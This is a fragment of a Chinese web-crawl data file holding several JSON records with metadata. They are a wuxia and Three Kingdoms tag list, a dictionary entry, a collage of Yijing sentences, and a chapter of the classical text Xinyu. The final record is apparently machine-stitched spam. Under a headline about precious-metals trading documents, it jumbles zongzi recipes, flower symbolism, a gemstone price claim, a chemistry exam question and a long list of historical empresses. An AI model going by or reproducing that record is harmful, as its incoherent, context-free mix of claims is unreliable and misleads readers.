月英 嫁衣神功 花間十二支 曹休 化石神功 德川家康 壽春三叛 鳳天南 崑崙派 江南七怪 蒼穹十三劍 岳靈珊 黃蓉 邊城浪子 官渡之戰 張春華 曹洪 王元姬 孫尚香 湘妃劍 血海飄香 常赫志 合淝之戰 九玄大法 周芷若 天魔大法 不戒和尚 曾柔 楊過 尉遲恭 魏滅蜀之戰 神州奇俠 陸無雙 一休 荀彧 交阯之亂 張無忌 華山論劍 蕭摩訶 姜維 衡山派 張大春 白阿繡 狼牙 群狐 益州之戰 塌上策 衛青 郭襄 梁羽生 逍遙訣 披風杖法 太極七截棍 童子功十三太保橫練 諸葛恪 笑傲江湖 大元丹法 呂布爭徐州 一扇十八搖 武當七俠 彭長老 白玉老虎 海大富 青城派 劍玄錄 金剛門 華陀針 碧海潮生曲 于萬亭 董卓討伐戰 江夏戰神 天魔心法 鴛鴦腿 霍去病 雪山飛狐 華山派 蕭遠山 郭芙 呂布 峨嵋派 于禁 急風十三刺 大喬 九陽神功 閔柔 文醜 公孫止 金絲綿掌 雙手互搏 九陽真經 毛玠 諸葛亮北伐 小龍女 歡樂英雄 上官鼎 血鸚鵡 黑白子 石田三成 曹睿 甄姬 法顯 丹青生 呂蒙 洪承疇 劍花煙雨江南 獨孤九劍 鴛鴦刀 金庸 幽灵山庄 菊花的刺 鰲拜 陳宮 赤壁之戰 鮑三娘 樊城之戰 七禽身法 鎖子縮骨功 鳥渡術 王語嫣 武當掌法 連體心法 丁春秋 楚留香傳奇 陸小鳳傳奇 鄧艾 馬皇后 鍾會之亂 少林三渡 左慈 名劍風流 流星蝴蝶劍 尼摩星 海神 孫權 桃幹仙 劍毒梅香 定閒師太 白萬劍 伏養氣功 捨身大法 汪劍通 丁不三 孫策 屯田制 李牧 七殺拳 魏晉玄學 段正明 倪匡 越女劍 定靜師太 歸辛樹 溫瑞安 丞相 萬物波動心法 東方不敗 魯有腳 燎原百擊 迎風一刀斬 虛竹 狄雲 木婉清 小昭 滅神掌 天涯明月刀 紅花會 魏滅蜀之戰 五嶽劍派 一串鞭 呂后 誰來跟我乾杯 戚芳 諸葛亮 嫁衣神功 魅影劍法 任盈盈 五虎斷門刀 晉滅吳之戰 七傷拳 怒劍狂花 鍾靈 桃谷六仙 菩提心功 曹丕篡漢 趙志敬 蕭十一郎 白狼山之戰 青龍會 小喬 飛刀,又見飛刀 鹿鼎記 任我行 桃根仙 葵花寶典 星彩 道心種魔大法 織女劍法 裘千仞 孫皓 勞德諾 徐晃 瀟湘子 殭屍拳 林朝英 亡神十八掌 鐵蒺藜骨朵 呂壹專權 子貴母死 伊達政宗 幻魔身法 史火龍 謝遜 吳應熊 吳六奇 黃藥師 龍吟曲 九陰真經 姜維北伐 滿地開花八十—式 天鷹教 冰玄勁 索額圖 無想奼女大法 迷蹤七變 死眷術 全真教 失魂引 紫氣天羅 曹操 碧血劍 倚天劍 郭淮 阿青 奕劍術 張翼 段譽 打狗棒法 董卓 擒拿截脈法 武當派 火併蕭十一郎 蔡文姬 楊修 劉備 蔣琬 武林外史 月異星邪 歸魂十八爪 碎金剛乘 明玉功 游坦之 宗預 梅花鉤 雷霆刀法 紫血大法 曹真 馬謖 穿雲劍法 周倉 武夷派 合淝新城之戰 費禕 七殺手 龐統 霍都 覆雨翻雲 掩月劍法 關銀屏 桃葉仙 殷離","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2019-10-18T11:21:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986682037.37\/warc\/CC-MAIN-20191018104351-20191018131851-00138.warc.gz","language":"lzh","language_score":0.5900559425,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900559425354004, \"nan_Hani_score\": 0.2526969313621521, \"cmn_Hani_score\": 0.1217494085431099, \"yue_Hani_score\": 0.03296053409576416}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"【注音】\n【拼音】 yù mǎn tiān xià\n基本釋義\n美好的名聲天下皆知。亦作\"譽滿全球\"、\"譽滿寰中\"、\"譽塞天下\"。\n美好的名聲,天下皆知。如:「張先生為人樂善好施,譽滿天下。」也作「譽滿寰中」、「譽塞天下」。\n您可能感興趣的詞語\n譽滿天下 譽塞天下 相交滿天下,知心能幾人 桃李滿天下 名滿天下 譽滿寰中 王天下 聞名天下 威震天下 威振天下 言語妙天下 有理走遍天下 一手難掩天下人耳目 一齊天下 一匡天下 一統天下 掃除天下 縱橫天下 坐天下 走遍天下 壽滿天年 手援天下 闖天下 澄清天下 長梗滿天星 轍環天下 周郎妙計高天下,賠了夫人又折兵 先天下之憂而憂 秀才不出門,能知天下事 席卷天下 權傾天下 經緯天下 兼善天下 甲天下 家天下 湖廣熟,天下足","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.3du.tw\/dict\/%E8%AD%BD%E6%BB%BF%E5%A4%A9%E4%B8%8B","date":"2020-07-12T06:06:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657131734.89\/warc\/CC-MAIN-20200712051058-20200712081058-00247.warc.gz","language":"lzh","language_score":0.8064045906,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8064045906066895, \"nan_Hani_score\": 0.11301843076944351, \"cmn_Hani_score\": 0.07969443500041962}","num_words":46,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.85,"perplexity_score":500.0,"cluster_detection":1} +{"text":"沈喜阳:周易集句·君子之道\n按:所有文句均拣选自《周易》之爻辞、彖传、象传、文言、系辞等;未敢增减一字,然打乱原有顺序,以组织成篇,名之曰《君子之道》。分为四章,首章言君子之如何对天地万物;次章言君子之如何对一己;三章言君子之如何对群体,末章言君子之如何对王侯。虽各章有所侧重,要不离乎\"非礼弗履\"。君子行己有耻、博学于文,穷则独善、达则兼济,独立不惧、遁世无闷,自强不息、厚德载物。\n君子终日乾乾,夕惕若。君子学以聚之,问以辩之,宽以居之,仁以行之。君子敬以直内,义以方外,敬义立而德不孤。君子进德修业,忠信所以进德也,修辞立其诚,所以居业也。君子尚消息盈虚,天行也。富有之谓大业,日新之谓盛德。知週乎万物,而道济天下。旁行而不流,乐天知命。穷则变,变则通,通则久。天行健,君子以自强不息;地势坤,君子以厚德载物。\n君子以非礼弗履。君子以多识前言往行,以畜其德。君子上交不谄,下交不渎。君子以虚受人。君子以朋友讲习。君子以言有物而行有恒。不恒其德,或承之羞。君子以慎言语,节饮食。君子以惩忿窒欲。君子以反身修德。君子以恐惧修省。君子安其身而后动,易其心而后语,定其交而后求。君子见几而作。君子以见善则迁,有过则改。君子以远小人,不恶而严。君子以顺德,积小以高大。\n蒙以养正,君子以果行育德。君子以振民育德。君子以常德行,习教事。君子以容民畜众。君子以居贤德善俗。君子以教思无穷,容保民无疆。君子以赦过宥罪。君子以裒多益寡,称物平施。君子以施禄及下,居德则忌。君子以作事谋始。君子以思患而豫防之。君子藏器于身,待时而动。君子安而不忘危,存而不忘亡,治而不忘乱。君子知微知彰,知柔知刚,万夫之望。\n天下同归而殊途,一致而百虑。观乎天文以察时变,观乎人文以化成天下。天地革而四时成。君子以立不易方。君子以自昭明德。君子以同而异。君子以致命遂志。君子以俭德辟难,不可荣以禄。履道坦坦,幽人贞吉。不事王侯,高尚其事。君子以独立不惧,遁世无闷。不及其君,遇其臣。损上益下,民说无疆。自上下下,其道大光。君子以遏恶扬善,顺天休命。唯君子为能通天下之志。","id":"","dump":"CC-MAIN-2021-04","url":"http:\/\/m.aisixiang.com\/data\/77908.html","date":"2021-01-16T03:30:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703499999.6\/warc\/CC-MAIN-20210116014637-20210116044637-00090.warc.gz","language":"lzh","language_score":0.5218681097,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.521868109703064, \"cmn_Hani_score\": 0.35420215129852295, \"nan_Hani_score\": 0.09652729332447052, \"yue_Hani_score\": 0.010229432955384254}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.639,"perplexity_score":500.0,"cluster_detection":1} +{"text":"新 語\n群書治要卷四十\n夫居高者。自處不可以不安。履危者。任杖不可以不固。自處不安則墜。任杖不固則仆。是以聖人居高處上。則以仁義爲巢。乘危履傾。則以聖賢爲杖。故高而不墜。危而不仆。昔者堯以仁義爲巢。舜以稷契爲杖。故高而益安。動而益固。處宴安之臺。承克讓之塗。德配天地。光被八極。功垂於無窮。名傳於不朽(朽傳作廢。改之)。蓋自處得其巢。任杖得其人也。秦以刑罰爲巢。故有覆巢破卵之患。以李斯。趙高爲杖。故有頓仆跌傷之禍。何者。所任者非也。故杖聖者帝。杖賢者王。杖仁者霸。杖智(本書智作義)者强。杖讒者滅。杖賊者亡。詩云。讒人罔極。交亂四國。衆邪合心。以傾一君。國危民失。不亦宜乎。\n道莫大於無爲。行莫大於謹敬。何以言之。昔舜治天下也。彈五弦之琴。歌南風之詩。寂若無治國之意。漠若無憂天下之心。然而天下大治。故無爲者。乃有爲者也。秦始皇設刑法。爲車裂之誅。築長城以備胡越。蒙恬討亂於外。李斯治法於内。事愈煩。下愈亂。法愈衆。奸愈縱。秦非不欲治也。然失之者。舉措大衆。刑罰大極故也。\n君子尚寬舒以褒其身。行身中和。以致疏遠。民畏其威而從其化。懷其德而歸其境。美其治而不敢違其政。民不罰而畏。不賞而勸。漸漬於道德。而被中和之所致也。\n夫法令所以誅暴也。故曾。閔之孝。夷。齊之廉。此寧畏法教而爲之者哉。故堯。舜之民。可比屋而封。桀。紂之民。可比屋而誅。何者。化使其然也。故近河之地濕。而近山之木長(木長作土燥)者。以類相及也。高山出雲。丘阜生氣。四瀆東流。百川無西行者。小象大而少從多也。\n夫南面之君。乃百姓之所取法則者也。舉措動作。不可以失法度。故上之化下。由風之靡草也。王者尚武於朝。則農夫繕甲兵於田。故君子之御下也。民奢。應之以儉。驕淫者。統之以理。未有上仁而下賊。讓行而争路者也。故孔子曰。移風易俗。豈家令(令作至)人視之哉。亦取(取作先)之於身而已矣。\n衆口毁譽。浮石沉木。群邪相(相作所)抑。以直爲曲。以白爲黑。曲直之异形。白黑之殊色。天下之易見也。然而目繆心惑者。衆邪誤之。(是章本書屬前章)秦二世之時。趙高駕鹿而從行。王曰。丞相何爲駕鹿。高曰。馬也。於是乃問群臣。群臣半言馬。半言鹿。當此時。秦王不敢信其直目。而從邪臣之言。鹿與馬之异形。乃衆人之所知也。然不能别其是非。况於暗昧之事乎。\n(是章亦屬前章)人有與曾子同姓名者殺人。有人告曾子母曰。參乃殺人。母方織如故。有頃人復告之。若是者三。曾子母投杼逾垣而去。夫流言之并至。衆人之所是非。雖賢智不敢自畢(畢作安)。况凡人乎。\n質美者。以通爲貴。才良者。以顯爲大。楩梓豫章。天下之名木也。生深山之中。谿谷之旁。立則爲衆木之珍(珍作宗)。仆則爲世用。因江河之道。而達於京師。因斧斤之功。得舒其文色。上則備帝王御物。下則賜公卿。庶賤而(而作不)得以備器械。及其戾(戾作隘)於山陵之阻。隔於九派之間。仆於塊磥之津。頓於窈窕之谿。廣者無舟車之道。狹者無徒步之蹊。知者所不見。見者所不知。當斯之時。尚不如道傍之枯楊。生於大都之廣地。近於大匠之名工。材器製斷。規矩度量。賢者補朽。短者接長。大者治樽。小者治觴。彼則枯槁而遠弃。此則爲宗廟之瑚璉者。通與不通也。人亦猶此。\n夫窮澤之民。據犁接耜之士。或懷不羈之能。有禹。皋陶之美。然身不容於世。無紹介通之者也。公卿之子弟。貴戚之黨友。雖無過人之能。然身在尊重之處。輔之者强。而飾之衆也。\n夫欲富國强威。闢地服遠者。必得之於民。欲建功興譽。垂名烈。流榮華者。必取之於身。故據千乘之衆。持百姓之命。苞山澤之饒。主士衆之力。而功不存乎身。名不顯於世者。統理之非也。\n天地之性。萬物之類。懷德者衆歸之。恃刑者民畏之。歸之則充其側。畏之則去其城(城作域)。故設刑者不厭輕。爲德者不厭重。行罰不患薄。布賞不患厚。所以親近而致遠也。夫刑重者。則心煩。事衆者。則身勞。心煩者。則刑罰縱横而無所立。身勞者。則百端迴邪而無所就。是以君子之爲治也。混然無事。寂然無聲。官府若無人。亭落若無吏。郵無夜行之卒。鄕無夜召之徵。犬不夜吠。鷄不夜鳴(鷄作鳥)。耆老甘味於堂。丁男耕芸於野。在朝忠於君。在家孝於親。於是雖不言而信誠。不怒而威行。豈待堅甲利兵。深牢(牢作刑)刻令。朝夕切切而後行哉。\n昔者。晋厲。齊莊。楚靈。宋襄。乘大國之權。杖衆民之威。軍師横出。凌鑠諸侯。外驕敵國。内刻百姓。鄰國之讎結於外。群臣之怨積於内。而欲建金石之統。繼不絶之世。豈不難哉。故宋襄死於泓之戰。三君殺於臣之手。皆輕師尚威。以致於斯。故春秋重而書之。嗟嘆而傷之。三君强其威而失其國。急其刑而自賊。斯乃去事之戒。來事之師也。\n魯莊公。一年之中。以三時興築作之役。規虞山林草澤之利。與民争田漁薪采之饒。刻桷丹楹。眩曜靡麗。收民十二之税。不足以供邪曲之欲。繕不足(足作用之二字)好。以快婦人之目。財盡於驕淫。力疲於不急。上困於用。下飢於食。於是爲齊。衛。陳。宋所伐。賢臣出。邪臣亂。子般殺。魯國危也。故爲威不强還自亡。立法不明還自傷。莊公之謂也。\n治以道德爲上。行以仁義爲本。故尊於位而無德者絀。富於財而無義者刑。賤而好道者尊。貧而有義者榮。夫酒池可以運舟。糟丘可以遠望。豈貧於財哉。統四海之權。主九州之衆。豈弱於武力哉。然功不能自存。而威不能自守。非貧弱也。乃道德不存乎身。仁義不加於下也。故察於利而惛於道者。衆之所謀也。果於力而寡於義者。兵之所圖也。君子篤於義而薄於利。敏於行而慎於言。所廣功德也。故曰。不義而富且貴。於我如浮雲。夫懷璧玉。要環佩。服名寶。藏珍怪。玉斗酌酒。金罍刻鏤。所以夸小人之目者也。高臺百仞。金城文畫。所以疲百姓之力者也。故聖人卑宫室而高道德。惡衣服而勤仁義。不損其行。以好其容。不虧其德。以飾其身。國不興不事之功。家不藏不用之器。所以稀力役而省貢獻也。璧玉珠璣不御於上。則玩好之物弃於下。琱琢刻畫之類。不納於君。則淫伎曲巧絶於下。夫釋農桑之事。入山海。采珠璣。捕豹翠。消筋力。散布帛。以極耳目之好。快淫侈之心。豈不謬哉。\n君明於德。可以及於遠。臣篤於義。可以至於大。何以言之。昔湯以七十里之封。升帝王之位。周公自立三公之官。比德於五帝三王(王舊作代。改之)斯乃口出善言。身行善道之所致也。故安危之效。吉凶之符。壹出於身。存亡之道。成敗之事。一起於善行。堯。舜不易日月而興。桀。紂不易星辰而亡。天道不改。而人道易也。\n夫持天地之政。操四海之綱。屈申不可以失法。動作不可以離度。謬誤出口。則亂及萬里之外。何况刑無罪於獄。而誅無辜於市哉。故世衰道失。非天之所爲也。乃君國者有以取之。惡政生惡氣。惡氣生灾异。螟蟲之類。隨氣而生。虹霓之屬。因政而見。治道失於下。則天文變於上。惡政流於民。則蟲生於野。\n夫善道存乎心(心作身)。無遠而不至也。惡行著乎己。無近而不去也。周公躬行禮義。郊祀后稷。越裳奉貢而至。麟鳳白雉。草澤而應。殷紂無道。微子弃骨肉而亡。行善者則百姓悦。行惡者則子孫怨。是以明者可以致遠。否者以失近。\n夫長於變者。不可窮以詐。通於道者。不可驚以怪。審於辭者。不可惑以言。遠(遠當作達)於義者。不可動以利。是以君子博思而廣聽。進退順法。動作合度。聞見欲衆。而采擇欲謹。學問欲博。而行己欲敦。見邪而知其直。見華而知其實。目不淫於炫耀之色。耳不亂於阿諛之辭。雖利之以齊。魯之富。而志不移。談之以王喬。赤松之壽。而行不易。然後能壹其道而定其操。致其事而立其功也。凡人則不然。目放於富貴之榮。耳亂於不死之道。故多弃其所長。而求其所短。不得其所無。而失其所有。是以吴王夫差知艾陵之可以取勝。而不知木雋李之可以破亡也。故事或見可利(可利之可作一)而喪萬機。取壹福而致百禍。聖人因變而立功。由异而致太平。堯。舜承蚩尤之失而思欽明之道。君子見惡於外。則知變於内矣。今之爲君者則不然。治不以五帝之術。則曰今之世不可以道治也。爲臣者不師稷契。則曰今之民不可以仁義正也。爲子者不執曾閔之質。朝夕不休。而曰家人不和也。學者不操回賜之精。晝夜不懈。而曰世所不行也。自人君至於庶人。未有不法聖道而師賢者也。易曰。豐其屋蔀其家。窺其户閴其無人。無人者。非無人也。言無聖賢以治之也。故仁者在位。而仁人來。義者在朝。而義士至。是以墨子之門多勇士。仲尼之門多道德。文王之朝多賢良。秦王之庭多不詳。故善者必有所主(主作因)而至。惡者必有所因而來。夫善惡不空作。禍福不濫生。唯心之所向。志之所行而已矣。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022067.html","date":"2017-04-24T03:30:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00280-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.4835441411,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48354414105415344, \"cmn_Hani_score\": 0.24875208735466003, \"nan_Hani_score\": 0.06272772699594498, \"wuu_Hani_score\": 0.04352080076932907, \"jpn_Jpan_score\": 0.036448393017053604, \"yue_Hani_score\": 0.017252720892429352, \"zxx_Latn_score\": 0.013408483006060123, \"und_Tang_score\": 0.010051549412310123}","num_words":21,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.484,"perplexity_score":500.0,"cluster_detection":1} +{"text":"金贵银业贸易单据玩出新款式 徒手套白狼式的融\n将糯米淘洗干净,放入清水里浸泡至能捏碎,备用。如有胃病的人吃粽子可选白米粽,别蘸糖,不要吃得太甜 5.瑶柱和银杏也需要事先煮熟了。湖州地区 浙江湖州,地处太湖之滨,自古以来就是有名的鱼米之乡。材料:白糯米360克、红豆60克、绿豆60克、眉豆60克、花生60克、玉米80克、粽叶24片。\n出入君怀袖,动摇微风发。红色康乃馨一般用来祝愿母亲健康长寿,表达不朽的母爱。更重要的是这种只存在于戈壁滩上,不规则且单颗粒分布的美丽玉髓没有任何矿脉可询,因此它的产量就更堪比和田玉的籽料还少,所以,宝石光的价格如日中天是有科学依据而非民间所传的单是炒作的原因。为除去粗盐中含有的可溶性杂质硫酸盐、氯化钙和氯化镁,某同学利用给定试剂NaOH溶液、BaCl2溶液、Na2CO3溶液和盐酸,设计了如下实验流程:请回答:(1)操作a和操作b的名称依次是______.(2)试剂①是______.(3)加入试剂②后,发生反应的离子方程式是______.(4)加入盐酸的作用是______.(3)加入试剂②Na2CO3后,碳酸根离子与钙离子、钡离子反应生成沉淀,则其离子方程式为:Ba2++CO32-=BaCO3↓,Ca2++CO32-=CaCO3↓;粉色康乃馨在祝福母亲生日时赠送,祝愿母亲永远美丽年轻。\n目前在东北地区种植较广泛。五胡十六国 汉赵 汉光文帝刘渊呼延皇后 汉光文帝刘渊单皇后 汉光文帝刘渊光献张皇后 汉昭武帝武元呼延皇后呼延氏 汉昭武帝武孝皇后张氏 张徽光 汉昭武帝武宣皇后刘氏 刘娥 汉昭武帝废皇后靳氏 靳月光 汉昭武帝皇后勒氏 靳月华 汉昭武帝樊皇后 汉昭武帝皇后王皇后 汉昭武帝弘德宣皇后 汉昭武帝武德皇后刘氏 刘英 汉隐帝刘粲靳皇后 前赵 末帝刘曜献文皇后羊氏 羊献容 末帝刘曜刘皇后 末帝刘曜刘皇后 刘芳 末帝刘曜元悼皇后卜氏 卜贵妃 成汉 成景帝皇后罗氏 罗夫人 成武帝任皇后 成幽公阎皇后 汉昭帝阎皇后 后赵 明帝石勒刘皇后 明帝石勒程皇后 武帝石虎郑皇后 郑樱桃 武帝石虎杜皇后 杜珠 武帝石虎刘皇后 彭城王石遵张皇后 代国 代神元帝拓跋力微窦皇后 代文帝拓跋沙漠汗封皇后 代桓帝拓跋猗卢祁皇后 代平文帝拓跋郁律王皇后 代昭成帝拓跋什翼犍慕容皇后 冉魏 平帝冉闵董皇后 前燕 文明帝慕容皝文明皇后 段皇后 文明帝慕容皝文昭皇后 兰贵妃 景昭帝慕容儁可足浑皇后 景昭帝慕容儁景昭皇后 段昭仪 幽帝慕容暐可足浑皇后 前秦 明帝苻健强皇后 厉王符生梁皇后 文桓帝苻雄皇后苟氏 宣昭帝苻坚苟皇后 哀平帝苻丕杨皇后 高帝苻登毛皇后 高帝苻登李皇后 后秦 武昭帝姚苌虵皇后 即蛇皇后 武昭帝姚苌皇后孙氏 文桓帝姚兴皇后张氏 文桓帝姚兴皇后齐氏 后燕 成武帝慕容垂昭成皇后 段夫人 成武帝慕容垂成哀皇后 段皇后 成武帝慕容垂皇后 段贵嫔 惠愍帝慕容宝惠德皇后 段皇后 惠愍帝慕容宝献幽皇后 丁夫人 废帝兰汗乙皇后 昭文帝慕容熙苻皇后 苻训英 昭文帝慕容熙愍皇后 苻娀娥 北燕 惠懿帝慕容云李皇后 文成帝冯跋孙皇后 文成帝冯跋宋皇后 昭成帝冯弘慕容皇后 南燕 献武帝慕容德段皇后 末主慕容超呼延皇后 西秦 武元王乞伏乾归符皇后 东平公主 文昭王乞伏炽磐秃发皇后 后凉 懿武帝吕光石皇后 隐王吕绍张皇后 灵帝吕纂杨皇后 文帝吕宝卫太后 末主吕隆杨皇后 北凉 武宣王沮渠蒙逊孟皇后 哀王沮渠牧犍李皇后 李敬受 哀王沮渠牧犍拓拔皇后 武威公主 南凉 景王秃发傉檀折掘皇后 西凉 武昭王李暠尹皇后 夏国 武烈帝赫连勃勃梁皇后 南北朝 刘宋 孝穆赵皇后 赵安宗 孝懿萧皇后 萧文寿 武敬臧皇后 臧爱亲 武帝张皇后 张阙 武帝胡皇后 胡道女 少帝司马皇后 司马茂英 文帝袁皇后 袁齐妫 刘劭皇后 殷玉英 孝武文穆王皇后 王宪嫄 前废帝何皇后 何令婉 明帝王皇后 王贞风 后废帝江皇后 江简珪 顺帝谢皇后 谢梵境 南朝 齐 宣孝陈皇后 陈道止 高昭刘皇后 刘智容 武穆裴皇后 裴惠昭 文安王皇后 王宝明 郁林王何皇后 何婧英 海陵王王皇后 王韶明 明敬刘皇后 刘惠端 东昏褚皇后 褚令璩 和帝王皇后 王蕣华 末帝元皇后 南阳公主 南朝 梁 太祖张皇后 张尚录 高祖郗皇后 郗徽 高祖穆皇太后 丁令光 文宣皇太后 阮令嬴 文帝简皇后 王灵宾 昭明帝昭德皇后蔡氏 元帝夏太后 敬帝王皇后 陈 高祖章皇后 章要儿 世祖沈皇后 沈妙容 废帝王皇后 高宗柳皇后 柳敬言 后主沈皇后 沈婺华 北魏 献明皇后贺氏 道武皇后慕容氏 道武宣穆皇后刘氏 明元昭哀皇后姚氏 西平公主 明元密皇后杜氏 太武帝窦太后 太武皇后赫连氏 太武敬哀皇后贺氏 景穆恭皇后郁久闾氏 高宗皇后常氏 文成文明皇后冯氏 冯有 文成元皇后李氏 献文思皇后李氏 孝文贞皇后林氏 孝文废皇后冯氏 冯清 孝文幽皇后冯氏 冯润 孝文昭皇后高氏 高照容 宣武顺皇后于氏 宣武皇后高氏 宣武灵皇后胡氏 孝明皇后胡氏 孝庄帝尔朱皇后 尔朱英娥 长广王尔朱皇后 尔朱皇后 节闵帝皇后尔朱氏 尔朱皇后 孝武帝皇后高氏 高欢之女 东魏 孝静帝高皇后 太原长公主 西魏 文帝文皇后乙弗氏 文帝悼皇后郁久闾氏 废帝宇文皇后 宇文云英 恭帝若干皇后 若干惠之女 北齐 神武帝神武明皇后娄氏 娄昭君 文宣昭信皇后李氏 李祖娥 文襄帝敬皇后元氏 冯翊公主 孝昭帝元皇后 武成胡后 后主废后斛律氏 后主胡皇后 为左皇后 后主穆皇后 穆黄花 右皇后 北周 文帝文皇后元氏 文帝文宣皇后叱奴氏 孝闵帝元皇后 元胡摩 晋安公主 明帝独孤皇后 武帝武成皇后阿史那氏 武帝李皇后 李娥姿 宣帝杨皇后 杨丽华 宣帝朱皇后 朱满月 宣帝陈皇后 陈月仪 宣帝元皇后 元乐尚 宣帝尉迟皇后 尉迟炽繁 静帝司马皇后 司马令姬 隋朝 文献独狐皇后 独孤伽罗 炀帝萧皇后 唐朝 高祖太穆皇后窦氏 窦皇后 太宗文德皇后长孙氏 长孙皇后 高宗废后王氏 王皇后 高宗皇后武氏 武曌 中宗和思皇后赵氏 中宗韦皇后 韦庶人 睿宗肃明皇后刘氏 睿宗昭成皇后窦氏 窦德妃 玄宗废后王氏 玄宗贞顺皇后武氏 武惠妃 玄宗元献皇后杨氏 肃宗张皇后 肃宗章敬皇后吴氏 代宗睿真皇后沈氏 沈珍珠 代宗贞懿皇后独孤氏 德宗昭德皇后王氏 顺宗庄宪皇后王氏 宪宗懿安皇后郭氏 宪宗孝明皇后郑氏 穆宗恭僖皇后王氏 穆宗贞献皇后萧氏 穆宗宣懿皇后韦氏 宣宗元昭皇后晁氏 懿宗惠安皇后王氏 昭宗积善皇后何氏 五代 后梁 文惠皇后王氏 太祖元贞皇后张氏 张惠 后唐 贞简皇后曹氏 庄宗神闵敬皇后刘氏 刘玉娘 和武宪皇后曹氏 昭懿皇后夏氏 宣宪皇后魏氏 废帝皇后刘氏 后晋 高祖皇后李氏 出帝皇后冯氏 后汉 高祖皇后李氏 后周 圣穆皇后柴氏 世宗贞惠皇后刘氏 宣懿皇后符氏 十国南唐 后主皇后 周娥皇 后主皇后 周女英 北宋 昭宪杜太后 太祖孝惠贺皇后 太祖孝明王皇后 太祖孝章宋皇后 太宗淑德尹皇后 太宗懿德符皇后 太宗明德李皇后 太宗元德李皇后 真宗章怀潘皇后 真宗章穆郭皇后 真宗章献明肃刘皇后 刘娥 仁宗郭皇后 仁宗慈圣光献曹皇后 英宗宣仁圣烈高皇后 高滔滔 神宗钦圣献肃向皇后 神宗钦成朱皇后 神宗钦慈陈皇后 哲宗昭慈孟皇后 哲宗昭怀刘皇后 刘清菁 徽宗显恭王皇后 徽宗郑皇后 钦宗朱皇后 南宋 高宗宪节邢皇后 邢秉懿 宪圣慈烈吴皇后 吴芍芬 孝宗成穆郭皇后 孝宗成恭夏皇后 孝宗成肃谢皇后 光宗慈懿李皇后 李凤娘 宁宗恭淑韩皇后 恭圣仁烈杨皇后 杨桂枝 理宗谢皇后 谢道清 度宗全皇后 全玖 辽(契丹) 肃祖昭烈皇后萧氏 懿祖庄敬皇后萧氏 玄祖简献皇后萧氏 德祖宣简皇后萧氏 太祖淳钦皇后述律氏 述律平 太宗靖安皇后萧氏 萧温 世宗怀节皇后萧氏 萧撒葛只 穆宗皇后萧氏 景宗睿智皇后萧氏 萧燕燕 圣宗仁德皇后萧氏 萧菩萨哥 圣宗钦哀皇后萧氏 兴宗仁懿皇后萧氏 萧挞里 道宗宣懿皇后萧氏 萧观音 道宗萧皇后 萧坦思 天祚皇后萧氏 萧夺里懒 金 太祖圣穆皇后唐括氏太祖光懿皇后裴满氏 太祖钦宪皇后纥石烈氏 太祖宣献皇后仆散氏 太宗钦仁皇后唐括氏 熙宗悼平皇后裴满氏 哀皇后徒单氏 海陵嫡母 海陵后徒单氏 睿宗钦慈皇后蒲察氏 睿宗贞懿皇后李氏 世宗昭德皇后乌林答氏 显宗孝懿皇后徒单氏 晕宗昭圣皇后刘氏 章宗钦怀皇后蒲察氏 完颜永济废后徒单氏 宣宗皇后王氏 王霓 宣宗明惠皇后 王云 哀宗徒单皇后 元朝 太祖光献翼圣皇后弘吉剌氏 孛儿台旭真 太宗昭慈皇后乃马真氏 脱列哥那 定宗钦淑皇后 斡兀立海迷失 睿宗显懿庄圣皇后怯烈氏 唆鲁和帖尼 宪宗贞节皇后弘吉剌氏 忽都台 世祖昭睿顺圣皇后弘吉剌氏 察必 世祖皇后弘吉剌氏 南必 裕宗徽仁裕圣皇后弘吉剌氏 伯蓝也怯赤 即阔阔真 成宗贞慈静懿皇后弘吉剌氏 失怜答里 成宗卜鲁罕皇后伯岳吾氏 卜鲁罕 顺宗照献元圣皇后弘吉剌氏 答己 武宗宣慈惠圣皇后弘吉剌氏 真哥 武宗皇后弘吉剌氏 速哥失里 武宗献章圣皇后亦乞烈氏 武宗文献昭圣皇后唐兀氏 仁宗庄懿慈圣皇后弘吉剌氏 阿纳失失里 英宗庄静懿圣皇后亦启烈氏 速哥八剌 显宗宣懿淑圣皇后弘吉剌氏 普颜怯里迷失 泰定帝皇后弘吉剌氏 八不罕 明宗贞裕徽圣皇后 迈来迪 明宗皇后 八不沙皇后 文宗皇后弘吉剌氏 卜答失里皇后 宁宗皇后弘吉剌氏 答里也忒迷失皇后 顺帝皇后钦察氏 答纳失里皇后 伯颜皇后弘吉剌氏 忽都皇后 完者忽都皇后奇氏 奇皇后植物形态:株高30至60厘米,地下具爬行根茎。将50克的黄瓜切成5厘米长的细条,将芹菜、葱节也切成5厘米长的段,拍碎,放入盘中垫底,将码好的鱼片放在青菜上面。睛明 